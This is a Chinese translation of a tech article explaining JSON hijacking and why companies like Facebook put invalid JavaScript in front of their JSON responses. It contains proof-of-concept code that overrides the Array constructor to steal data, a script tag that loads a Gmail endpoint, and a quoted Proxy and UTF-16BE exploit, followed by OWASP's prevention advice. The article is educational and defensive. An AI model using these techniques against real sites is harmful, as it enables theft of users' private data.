\u003cp\u003e如果你有在浏览器中查看过发给大公司API的请求,你可能会注意到,JSON前面会有一些奇怪的JavaScript:\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://static.geekbang.org/infoq/5bf91d2ef3dfb.png\" alt=\"\" /\u003e\u003c/p\u003e\n\u003cp\u003e为什么他们会用这几个字节来让JSON失效?\u003c/p\u003e\n\u003ch2\u003e为了保护你的数据\u003c/h2\u003e\n\u003cp\u003e如果没有这些字节,那么有可能任何网站都可以访问这些数据。\u003c/p\u003e\n\u003cp\u003e这个漏洞被称为\u003ca href=\"http://urlhttps://lmddgtfy.net/?q=JSON%20hijacking\"\u003eJSON劫持\u003c/a\u003e,也就是网站可以从这些API中提取JSON数据。\u003c/p\u003e\n\u003ch2\u003e起源\u003c/h2\u003e\n\u003cp\u003e在JavaScript 1.5及更早版本中,可以覆盖原始类型对象的构造函数,并使用括号调用覆盖的版本。\u003c/p\u003e\n\u003cp\u003e你可以这样:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003efunction Array(){\n alert('You created an array!');\n}\nvar x = [1,2,3];\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e这样就会弹出alert!\u003c/p\u003e\n\u003cp\u003e使用以下脚本替换var x,攻击者就可以阅读你的电子邮件!\u003c/p\u003e\n\u003cp\u003e这是通过在加载外部脚本之前覆盖Array构造函数来实现的。\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e\u0026lt;script src=\u0026quot;https://gmail.com/messages\u0026quot;\u0026gt;\u0026lt;/script\u0026gt;\n\u003c/code\u003e\u003c/pre\u003e\n\u003ch2\u003e数据提取\u003c/h2\u003e\n\u003cp\u003e即使你重载了构造函数,仍然可以通过this来访问它。\u003c/p\u003e\n\u003cp\u003e这是一个代码片段,它将alert数组的所有数据:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003efunction Array() {\n var that = this;\n var index = 0;\n // Populating the array with setters, which dump the value when called\n var valueExtractor = function(value) {\n // Alert the value\n alert(value);\n // Set the next index to use this method as well\n that.__defineSetter__(index.toString(),valueExtractor );\n index++;\n };\n // Set the setter for item 0\n that.__defineSetter__(index.toString(),valueExtractor );\n index++;\n}\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e在创建数组后,它们的值将被alert出来!\u003c/p\u003e\n\u003cp\u003eECMAScript 4提案中已修复了这个问题,我们现在无法再覆盖大多数原始类型的原型,例如Object和Array。\u003c/p\u003e\n\u003cp\u003e尽管ES4从未发布,但主要浏览器在发现后很快就修复了这个漏洞。\u003c/p\u003e\n\u003cp\u003e在今天的JavaScript中,你仍然可以使用类似的行为,但它受限于你创建的变量,或者不使用括号创建的对象。\u003c/p\u003e\n\u003cp\u003e这是之前的一个修订版本:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e// Making an array\nconst x = [];\n\n// Making the overriden methods\nx.copy = [];\nconst extractor = (v) =\u0026gt; {\n // Keeping the value in a different array\n x.copy.push(v);\n // Setting the extractor for the next value\n const currentIndex = x.copy.length;\n x.__defineSetter__(currentIndex, extractor);\n x.__defineGetter__(currentIndex, ()=\u0026gt;x.copy[currentIndex]);\n // Logging the value\n console.log('Extracted value', v);\n};\n\n// Assigning the setter on index 0 \nx.__defineSetter__(0, extractor);\nx.__defineGetter__(0, ()=\u0026gt;x.copy[0]);\n\n// Using the array as usual\n\nx[0] = 'zero';\nx[1] = 'one';\n\nconsole.log(x[0]);\nconsole.log(x[1]);\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e这是一个使用Array关键字创建数组的版本:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003efunction Array(){\n console.log(arguments);\n}\n\nArray(\u0026quot;secret\u0026quot;,\u0026quot;values\u0026quot;);\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e如你所见,你添加到数组中的数据被记录下来,但功能保持不变!\u003c/p\u003e\n\u003cp\u003e修复方案并没有阻止使用Array来创建数组,而是在使用括号创建对象时强制使用原生实现,而不是自定义函数。\u003c/p\u003e\n\u003cp\u003e这意味着我们仍然可以创建一个Array函数,但不能与方括号([1,2,3])一起使用。\u003c/p\u003e\n\u003cp\u003e如果我们使用x = new Array(1,2,3)或x = Array(1,2,3),它仍将被调用,但不会给JSON劫持留下可趁之机。\u003c/p\u003e\n\u003ch2\u003e新的变体\u003c/h2\u003e\n\u003cp\u003e我们知道旧版本的浏览器很容易受到这个漏洞的攻击,那么现在呢?\u003c/p\u003e\n\u003cp\u003e随着最近EcmaScript 6的发布,添加了很多新功能,例如Proxies!\u003c/p\u003e\n\u003cp\u003e来自Portswigger的Gareth Heyes在\u003ca href=\"https://portswigger.net/blog/json-hijacking-for-the-modern-web\"\u003e博客\u003c/a\u003e上介绍了这个漏洞的新变体,它仍然允许我们从JSON端点窃取数据!\u003c/p\u003e\n\u003cp\u003e通过使用Proxies(而不是Accessor),我们可以窃取到任意创建的变量,无论它的名称是什么。\u003c/p\u003e\n\u003cp\u003e它可以像Accessor一样,但可以访问任意可访问或写入属性。\u003c/p\u003e\n\u003cp\u003e使用这个和另外一个技巧,就可以再次窃取数据!\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eUTF-16BE是一个多字节字符集,一个字符由两个字节组成。例如,如果你的脚本以[“作为开头,它将被视为字符0x5b22而不是0x5b 0x22。0x5b22恰好是一个有效的JavaScript变量=)。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e使用这个脚本:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e\u0026lt;script charset=\u0026quot;UTF-16BE\u0026quot; src=\u0026quot;external-script-with-array-literal\u0026quot;\u0026gt;\u0026lt;/script\u0026gt;\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e通过使用这个脚本中的一些受控数据和移位脚本,我们就可以再次渗透数据!\u003c/p\u003e\n\u003cp\u003e这是Gareth最后的POC,摘自他的博文:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e\u0026lt;!doctype HTML\u0026gt;\n\u0026lt;script\u0026gt;\nObject.setPrototypeOf(__proto__,new Proxy(__proto__,{\n has:function(target,name){\n alert(name.replace(/./g,function(c){ c=c.charCodeAt(0);return String.fromCharCode(c\u0026gt;\u0026gt;8,c\u0026amp;0xff); }));\n }\n}));\n\u0026lt;/script\u0026gt;\n\u0026lt;script charset=\u0026quot;UTF-16BE\u0026quot; src=\u0026quot;external-script-with-array-literal\u0026quot;\u0026gt;\u0026lt;/script\u0026gt;\n\u0026lt;!-- script contains the following response: [\u0026quot;supersecret\u0026quot;,\u0026quot;\u0026lt;?php echo chr(0)?\u0026gt;aa\u0026quot;] --\u0026gt;\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e我不会深入解释这个方法,而是建议你阅读他的帖子,以获取更多信息。\u003c/p\u003e\n\u003ch2\u003e预防\u003c/h2\u003e\n\u003cp\u003e这是OWASP的\u003ca href=\"https://www.owasp.org/index.php/AJAX_Security_Cheat_Sheet#Always_return_JSON_with_an_Object_on_the_outside\"\u003e官方建议\u003c/a\u003e:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e使用CSRF保护,如果不存在安全标头或csrf令牌,就不返回数据,以防止被利用。\u003c/li\u003e\n\u003cli\u003e始终将JSON作为对象返回。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e最后的解决方案很有趣。\u003c/p\u003e\n\u003cp\u003e在Firefox和IE中,这个是有效的:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003ex = [{\u0026quot;key\u0026quot;:\u0026quot;value\u0026quot;}]\nx = {\u0026quot;key\u0026quot;:\u0026quot;value\u0026quot;}\n[{\u0026quot;key\u0026quot;:\u0026quot;value\u0026quot;}]\n{key: \u0026quot;value\u0026quot;}\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e但这样不行:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e{\u0026quot;key\u0026quot;:\u0026quot;value\u0026quot;}\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e它之所以无效是因为Firefox和IE认为括号是块语句的开头,而不是创建对象。\u003c/p\u003e\n\u003cp\u003e没有引号的符号{key:“value”}被视为标签,值被视为一个语句。\u003c/p\u003e\n\u003ch2\u003e结论\u003c/h2\u003e\n\u003cp\u003e虽然这些东西在今天可能是无效的,但我们永远不会知道明天将会带来什么新的错误,因此我们仍应尽力阻止API被利用。\u003c/p\u003e\n\u003cp\u003e如果我们把这个\u003ca href=\"https://stackoverflow.com/questions/16289894/is-json-hijacking-still-an-issue-in-modern-browsers\"\u003eStackOverflow答案\u003c/a\u003e视为理所当然,我们就很容易受到现代变体的影响,因此仍然可能被黑客入侵。\u003c/p\u003e\n\u003cp\u003e谷歌和Facebook在JSON数据之前添加无效的JavaScript或无限循环,OWASP也列出了其他替代方案。\u003c/p\u003e\n\u003ch4\u003e英文原文\u003c/h4\u003e\n\u003cp\u003e\u003ca href=\"https://dev.to/antogarand/why-facebooks-api-starts-with-a-for-loop-1eob\"\u003ehttps://dev.to/antogarand/why-facebooks-api-starts-with-a-for-loop-1eob\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003e活动推荐\u003c/h2\u003e\n\u003cp\u003e\u003cimg src=\"https://static001.geekbang.org/resource/image/8c/29/8cf8f8d7ac09d6b12bdb59a4b407b729.jpg\" alt=\"\" /\u003e\u003cbr /\u003e\n12 月 7 日北京 ArchSummit 全球架构师峰会上,来自 Google、Netflix、BAT、滴滴、美团 等公司技术讲师齐聚一堂,共同分享“微服务、金融技术、前端黑科技、智能运维等相关经验与实践。详情点击 \u003ca href=\"https://bj2018.archsummit.com/schedule\"\u003ehttps://bj2018.archsummit.com/schedule\u003c/a\u003e\u003c/p\u003e\n